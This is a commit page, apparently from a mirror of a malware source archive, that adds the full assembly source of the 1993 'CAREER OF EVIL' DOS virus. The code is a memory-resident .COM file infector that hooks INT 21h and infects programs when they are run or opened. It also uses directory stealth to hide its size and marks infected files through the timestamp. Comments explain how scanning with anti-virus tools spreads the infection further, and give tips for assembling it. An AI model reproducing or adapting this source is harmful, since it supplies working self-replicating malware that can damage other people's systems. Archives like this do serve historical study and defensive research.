mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
Add files via upload
This commit is contained in:
vxunderground
GitHub
@@ -0,0 +1,323 @@
|
||||
;CAREER OF EVIL virus: a simple memory resident .COMinfector
|
||||
;which infects on execution and file open. CAREER OF EVIL also
|
||||
;has limited stealth, subtracting its file size from infected files
|
||||
;by diddling the file control block on "DIR" functions BEFORE the
|
||||
;user sees the result onscreen. The virus recognizes infected
|
||||
;files by setting a peculiar time-stamp in the unreported seconds
|
||||
;field. Anti-virus measures are complicated when the virus is
|
||||
;in memory by its ability to infect on file open. Scanning or
|
||||
;operating any utilities which open files for inspection will
|
||||
;spread the virus to every file examined in this manner.
|
||||
;For best results, assemble CAREER OF EVIL with the A86 assembler.
|
||||
;CAREER OF EVIL: prepared by Urnst Kouch for CRYPT NEWSLETTER 15,
|
||||
;MAY-JUNE 1993.
|
||||
|
||||
|
||||
code segment
|
||||
assume cs:code, ds:code, es:code, ss:nothing
|
||||
|
||||
org 0100h
|
||||
|
||||
|
||||
|
||||
begin: call virus ;
|
||||
|
||||
host db 'Í RottenUK' ; dummy place-holder where
|
||||
; virus stashes original 5-bytes
|
||||
; from host file
|
||||
db 'Career of Evil',0
|
||||
|
||||
|
||||
virus: pop bp
|
||||
push bp
|
||||
add bp,0FEFDh
|
||||
|
||||
mov ax,0ABCDh ; put 0ABCDh into ax
|
||||
int 21h ; for installation check
|
||||
; (also critical in directory stealth)
|
||||
jnb failed ; if virus is already there,
|
||||
; will branch
|
||||
cli ; to virus exit when in memory
|
||||
mov ax,3521h
|
||||
int 21h ; get interrupt vector
|
||||
mov w [bp+offset oldint21],bx ; es:bx points to
|
||||
mov w [bp+offset oldint21+2],es ; interrupt handler
|
||||
|
||||
mov al,1Ch
|
||||
int 21h
|
||||
|
||||
|
||||
mov si,ds
|
||||
std
|
||||
lodsb
|
||||
cld
|
||||
mov ds,si
|
||||
|
||||
xor bx,bx
|
||||
mov cx,pargrph ; virus size in paragraphs to allot-->cx
|
||||
mov ax,[bx+3] ; an off hand way of doing things
|
||||
sub ax,cx ;
|
||||
|
||||
mov [bx+3],ax
|
||||
sub [bx+12h],cx
|
||||
mov es,[bx+12h]
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov di,100h
|
||||
mov si,bp
|
||||
add si,di
|
||||
mov cx,size
|
||||
rep movsb ; start copying virus into memory
|
||||
|
||||
push es
|
||||
pop ds
|
||||
mov ax,2521h
|
||||
mov dx,offset newint21 ; set int 21 route through virus
|
||||
int 21h
|
||||
|
||||
failed: push cs
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
|
||||
pop si
|
||||
mov di,100h
|
||||
push di
|
||||
jmp $ + 2
|
||||
movsw
|
||||
movsw
|
||||
jmp $ + 2
|
||||
movsb
|
||||
|
||||
mov cx,0FFh
|
||||
mov si,100h
|
||||
ret ; exit to host
|
||||
|
||||
newint21: pushf
|
||||
cmp ah,11h ; any "dir" user access of file control
|
||||
je stealth_entry ; block must come through virus
|
||||
cmp ah,12h ; next file directory handler
|
||||
je stealth_entry
|
||||
|
||||
cmp ax,0ABCDh ; we need this so that when the virus
|
||||
jne not_virus_input ; is controlling things, on
|
||||
popf ; file infect it doesn't go
|
||||
clc ; and subtract another length
|
||||
retf 2 ; increment from the directory
|
||||
; entries of infected files.
|
||||
; although an amusing effect,
|
||||
; reducing the filesize of all
|
||||
; infected files as reported
|
||||
; by DIR one virus length everytime
|
||||
; the virus infects ANY file is
|
||||
; counter-productive
|
||||
not_virus_input:
|
||||
cmp ax,4B00h ; is a program being loaded?
|
||||
je check_infect ; try to infect
|
||||
cmp ah,3Dh ; is a file being opened?
|
||||
je start_open_infect ; if so, get address
|
||||
jne not_4B00 ; exit if not
|
||||
|
||||
stealth_entry:
|
||||
|
||||
popf
|
||||
call int21 ; look to virus "stealth"
|
||||
pushf ; routine
|
||||
call stealth_begin
|
||||
|
||||
cycle_dirstealth:
|
||||
popf ; remove word from the stack
|
||||
iret ; and return from interrupt
|
||||
; to where we were before pulling
|
||||
stealth_begin: ; stealth trick
|
||||
push ax ; the following essentially massages the
|
||||
push bx ; file control block on directory scans,
|
||||
push dx ; subtracting the virus size from infected
|
||||
push es ; files before the user sees it
|
||||
; stack setup saves everything
|
||||
mov ah,2Fh ; get disk transfer address
|
||||
call int21 ;
|
||||
|
||||
add bx,8
|
||||
|
||||
normalize_direntry:
|
||||
|
||||
mov al,byte es:[bx+16h] ; retrieve seconds data
|
||||
and al,1fh ; from observed file, if it's
|
||||
xor al,1fh ; 31, the file is infected
|
||||
jnz no_edit_entry ; not 31 - file not infected
|
||||
mov ax,word es:[bx+1Ch]
|
||||
mov dx,word es:[bx+1Ch+2]
|
||||
sub ax,size ; subtract virus length from
|
||||
sbb dx,0 ; infected file
|
||||
jc no_edit_entry ; no files? exit
|
||||
mov word es:[bx+1Ch],ax
|
||||
mov word es:[bx+1Ch+2],dx
|
||||
no_edit_entry: ; restore everything as normal
|
||||
pop es ;
|
||||
pop dx
|
||||
pop bx
|
||||
pop ax
|
||||
ret
|
||||
|
||||
start_open_infect:
|
||||
|
||||
mov word ptr cs:[fileseg],dx
|
||||
mov word ptr cs:[fileseg+2h],ds ; save segment:offset of
|
||||
; file being opened so it
|
||||
; can be infected, too
|
||||
check_infect: push ax ; push everything onto stack
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
push bp
|
||||
|
||||
mov ax,4300h ; get file attributes of potential host
|
||||
call int21
|
||||
jc back1 ; failed? exit
|
||||
mov cs:old_attr,cx ; put attributes here
|
||||
|
||||
|
||||
mov ax,4301h ; set new file attributes, read or write
|
||||
xor cx,cx
|
||||
call int21 ; do it
|
||||
jc back1 ; error? exit
|
||||
|
||||
push dx
|
||||
push ds
|
||||
call infect ; call infection subroutine
|
||||
pop ds
|
||||
pop dx
|
||||
|
||||
mov ax,4301h ; same as above
|
||||
db 0B9h ; hand code mov CX,
|
||||
old_attr dw 0
|
||||
call int21
|
||||
|
||||
back1: ; if the attrib-get fails
|
||||
pop bp ; pop everything off stack
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
|
||||
not_4B00:
|
||||
|
||||
back: popf
|
||||
db 0EAh ; <--------- return to virus exit to host
|
||||
|
||||
oldint21 dw 0,0
|
||||
|
||||
int21: pushf
|
||||
call dword ptr cs:oldint21 ; <--interrupt handler
|
||||
ret
|
||||
|
||||
infect: mov ax,3D02h ; open host file with read/write access
|
||||
call int21
|
||||
jnc okay_open
|
||||
ret ; was there an error? exit
|
||||
|
||||
okay_open: xchg bx,ax
|
||||
mov ax,5700h ; get file date and file time
|
||||
call int21
|
||||
|
||||
push cx
|
||||
mov bp,sp
|
||||
push dx
|
||||
|
||||
mov al,cl ; retrieve seconds data from file one
|
||||
or cl,1fh ; more time
|
||||
xor al,cl ; if it's 31 (1fh), we get a zero
|
||||
jz close ; and the file is already infected
|
||||
|
||||
mov ah,3Fh ; read first five bytes from potential host
|
||||
mov cx,5
|
||||
mov dx,offset host ; store them here
|
||||
push cs
|
||||
pop ds
|
||||
call int21
|
||||
jc close ; error, exit?
|
||||
cmp al,5 ; get the five bytes?
|
||||
jne close ; no, so exit
|
||||
|
||||
cmp word host[0],'ZM' ; check, is this an .EXE file?
|
||||
je close ; yes, so no infection
|
||||
cmp host[0],0E9h ; does it start with a jump?
|
||||
je infect_host ; yes - infect. Here's a
|
||||
; subtle point. MUST look for 0e9h
|
||||
; or file is not .EXE, not marked
|
||||
; virus time-stamp, infection will
|
||||
close: ; result in the virus adding itself
|
||||
; to almost anything loaded or
|
||||
pop dx ; opened which is not an .EXE or
|
||||
pop cx ; .OVL. The result would be a hang.
|
||||
mov ax,5701h ; reset file date and time
|
||||
call int21
|
||||
mov ah,3Eh ; close file
|
||||
call int21
|
||||
ret ; exit
|
||||
|
||||
infect_host: mov ax,4202h ; reset pointer to end of file
|
||||
xor cx,cx ; a standard appending infection
|
||||
xor dx,dx ; routine which is suitable
|
||||
call int21 ; for most resident .COM infecting
|
||||
; viruses
|
||||
or dx,dx
|
||||
jnz close
|
||||
|
||||
|
||||
dec ax
|
||||
dec ax
|
||||
dec ax
|
||||
|
||||
mov word ptr putjmp[1],ax
|
||||
|
||||
mov ah,40h ; write virus to the target file
|
||||
mov cx,size ; length in cx
|
||||
mov dx,100h
|
||||
call int21
|
||||
jc close
|
||||
|
||||
mov ax,4200h ; set file pointer to beginning of host
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call int21
|
||||
|
||||
mov ah,40h ; write the first five bytes of the
|
||||
mov cx,5 ; viral jump and vanity string to the
|
||||
mov dx,offset putjmp ; beginning of the host file
|
||||
call int21
|
||||
|
||||
or byte ss:[bp],31 ; set the seconds field to 31, so the
|
||||
; "stealth" routine has its cue
|
||||
jmp close ; close the file and clean up
|
||||
|
||||
|
||||
|
||||
|
||||
putjmp db 0E9h ; <----- data, jump and vanity sig for
|
||||
dw 0 ; virus to copy to beginning of host
|
||||
db 'UK'
|
||||
|
||||
|
||||
|
||||
fileseg dd ? ; <--- buffer for seg:off of files
|
||||
; opened by user activated programs
|
||||
|
||||
|
||||
mark: ; <-----end of virus
|
||||
|
||||
size equ $-100h ;
|
||||
pargrph equ ($+16)/16 ; virus size in memory in 16-byte
|
||||
; paragraphs
|
||||
|
||||
|
||||
code ends
|
||||
end begin
|
||||
|
||||
|
||||
Reference in New Issue
Block a user